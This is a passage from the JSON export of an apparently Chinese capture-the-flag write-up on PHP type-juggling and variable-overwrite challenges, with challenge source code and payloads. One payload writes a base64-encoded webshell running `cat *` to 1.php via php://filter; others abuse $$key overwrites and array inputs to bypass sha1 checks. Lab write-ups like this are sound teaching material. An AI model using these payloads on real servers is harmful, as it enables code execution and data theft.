u627e\u5230\u4e00\u6761php\u8bed\u53e5\u7ecf\u8fc7base64\u7f16\u7801\uff0c\u5728\u8f6c\u6362\u4e3a16\u8fdb\u5236\u4e4b\u540e\u5168\u90e8\u90fd\u662f\u6570\u5b57\u5c31\u53ef\u4ee5\u901a\u8fc7<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$a='&lt;?=`cat *`;';<br>$b=base64_encode($a); &nbsp;\/\/ PD89YGNhdCAqYDs=<br>$c=bin2hex($b); &nbsp; &nbsp; &nbsp;\/\/\u8fd9\u91cc\u76f4\u63a5\u7528\u53bb\u6389=\u7684base64 bin2hex() \u51fd\u6570\u628a ASCII \u5b57\u7b26\u7684\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5341\u516d\u8fdb\u5236\u503c\u3002<br>\u8f93\u51fa &nbsp; 5044383959474e6864434171594473<br>\u200b<br>\u5e26e\u7684\u8bdd\u4f1a\u88ab\u8ba4\u4e3a\u662f\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u53ef\u4ee5\u901a\u8fc7is_numeric\u68c0\u6d4b\u3002<br>\u5927\u5bb6\u53ef\u4ee5\u5c1d\u8bd5\u4e0b\u53bb\u6389=\u548c\u5e26\u7740=\u7684base64\u89e3\u7801\u51fa\u6765\u7684\u5185\u5bb9\u662f\u76f8\u540c\u7684\u3002\u56e0\u4e3a\u7b49\u53f7\u5728base64\u4e2d\u53ea\u662f\u8d77\u5230\u586b\u5145\u7684\u4f5c\u7528\uff0c\u4e0d\u5f71\u54cd\u5177\u4f53\u7684\u6570\u636e\u5185\u5bb9\u3002<\/code><\/pre>\n\n\n\n<p>\u6700\u7ec8payload\uff0c\u5176\u4e2dv2\u524d\u9762\u768411\u4e3a\u586b\u5145\u5b57\u7b26\uff0c\u786e\u4fdd\u622a\u53d6\u7684\u6570\u5b57\u6709\u6548<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">v2=115044383959474e6864434171594473&amp;v3=php:\/\/filter\/write=convert.base64-decode\/resource=1.php post: v1=hex2bin<\/pre>\n\n\n\n<p>\u6700\u7ec8\u8bbf\u95ee1.php\u67e5\u770b\u6e90\u7801\u5f97\u5230flag<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web104\u2014sha1<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>highlight_file(__FILE__);<br>include(\"flag.php\");<br>\u200b<br>if(isset($_POST&#91;'v1']) &amp;&amp; isset($_GET&#91;'v2'])){<br> &nbsp; &nbsp;$v1 = $_POST&#91;'v1'];<br> &nbsp; &nbsp;$v2 = $_GET&#91;'v2'];<br> &nbsp; &nbsp;if(sha1($v1)==sha1($v2)){<br> &nbsp; &nbsp; &nbsp; &nbsp;echo $flag;<br> &nbsp;  }<br>}<br>\u200b<br>\u200b<br>?&gt;<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>1\u3001\u901a\u8fc7post\u65b9\u5f0f\u4f20\u9012v1\uff0cget\u65b9\u5f0f\u4f20\u9012v2<\/p><p>2\u3001\u5982\u679cv1\u548cv2\u7684sha1\u503c\u76f8\u7b49\uff0c\u8f93\u51faflag<\/p><\/blockquote>\n\n\n\n<p>\u8fd9\u9898\u51fa\u9898\u4eba\u6ca1\u6709\u6bd4\u8f83v1\u548cv2\u7684\u503c\uff0c\u76f4\u63a5\u4f20\u9012\u76f8\u7b49\u7684\u503c\u4e5f\u53ef\u4ee5<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web105\u2014\u53d8\u91cf\u8986\u76d6<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>highlight_file(__FILE__);<br>include('flag.php');<br>error_reporting(0);<br>$error='\u4f60\u8fd8\u60f3\u8981flag\u561b\uff1f';<br>$suces='\u65e2\u7136\u4f60\u60f3\u8981\u90a3\u7ed9\u4f60\u5427\uff01';<br>foreach($_GET as $key =&gt; $value){<br> &nbsp; &nbsp;if($key==='error'){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"what are you doing?!\");<br> &nbsp;  }<br> &nbsp; &nbsp;$$key=$$value;<br>}foreach($_POST as $key =&gt; $value){<br> &nbsp; &nbsp;if($value==='flag'){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"what are you doing?!\");<br> &nbsp;  }<br> &nbsp; &nbsp;$$key=$$value;<br>}<br>if(!($_POST&#91;'flag']==$flag)){<br> &nbsp; &nbsp;die($error);<br>}<br>echo \"your are good\".$flag.\"\\n\";<br>die($suces);<br>\u200b<br>?&gt;<\/code><\/pre>\n\n\n\n<p><strong>\u901a\u8fc7die($error)\u8f93\u51fa<\/strong><\/p>\n\n\n\n<p>\u56e0\u4e3a\u5982\u679c\u9700\u8981\u8f93\u51fa$error\uff0c\u5c31\u9700\u8981\u6ee1\u8db3post\u7684\u503c\u4e0d\u542bflag\uff0c\u56e0\u6b64\u53ef\u4ee5\u901a\u8fc7\u4e00\u4e2a\u4e2d\u95f4\u53d8\u91cf$a\u8fdb\u884c\u4f20\u9012<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$a=$flag;<br>$error=$a;<\/pre>\n\n\n\n<p>payload\u4e3a<\/p>\n\n\n\n<p><code>a=flag post: error=a<\/code><\/p>\n\n\n\n<p><strong>\u901a\u8fc7die($suces)<\/strong><\/p>\n\n\n\n<p>\u56e0\u4e3a\u5982\u679c\u8981\u8f93\u51fa$suces\uff0c\u5c31\u8981\u6ee1\u8db3post\u7684\u503c\u4e0eflag\u503c\u76f8\u7b49<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$suces=$flag;<\/pre>\n\n\n\n<p>payload\u4e3a<\/p>\n\n\n\n<p><code>payload:suces=flag post\uff1aflag=<\/code><\/p>\n\n\n\n<p>\u6b64\u65f6<code>$scues=flag{test123};$_POST['flag']=NULL;$flag=NULL<\/code>\uff0c\u6ee1\u8db3<code>($_POST['flag']==$flag)<\/code><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web106\u2014sha1<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>highlight_file(__FILE__);<br>include(\"flag.php\");<br>\u200b<br>if(isset($_POST&#91;'v1']) &amp;&amp; isset($_GET&#91;'v2'])){<br> &nbsp; &nbsp;$v1 = $_POST&#91;'v1'];<br> &nbsp; &nbsp;$v2 = $_GET&#91;'v2'];<br> &nbsp; &nbsp;if(sha1($v1)==sha1($v2) &amp;&amp; $v1!=$v2){<br> &nbsp; &nbsp; &nbsp; &nbsp;echo $flag;<br> &nbsp;  }<br>}<br>\u200b<br>\u200b<br>\u200b<br>?&gt;<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>\u5bf9\u6bd4104\u591a\u4e86\u5bf9v1\u548cv2\u7684\u503c\u8fdb\u884c\u6bd4\u8f83<\/p><p>\u4f46\u4ecd\u53ef\u4ee5\u5229\u7528\u6570\u7ec4\u7ed5\u8fc7<\/p><\/blockquote>\n\n\n\n<pre class=\"wp-block-preformatted\">\/?v1[]=1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/\/get\u65b9\u5f0f<br>v2[]=2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/\/post\u65b9\u5f0f<\/pre>\n\n\n\n<p>\u5982\u679c\u52a0\u4e0a\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\uff0c\u6709\u4ee5\u4e0b\u7b26\u5408\u7684<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m<\/p><\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>\u57fa\u7840\u77e5\u8bc6\uff1a php\u7279\u6027 \u2013 \u9752\u5d50 web89\u2014\u6b63\u5219\u8868\u8fbe\u5f0f\u7ed5\u8fc7 1\u3001\u901a\u8fc7get\u65b9\u5f0f\u63d0\u4ea4\u4e00\u4e2anum 2\u3001\u5982\u679c\u901a\u8fc7\u6b63 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[17],"tags":[15,16],"_links":{"self":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/215"}],"collection":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=215"}],"version-history":[{"count":6,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/215\/revisions"}],"predecessor-version":[{"id":225,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/215\/revisions\/225"}],"wp:attachment":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=215"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=215"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=215"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}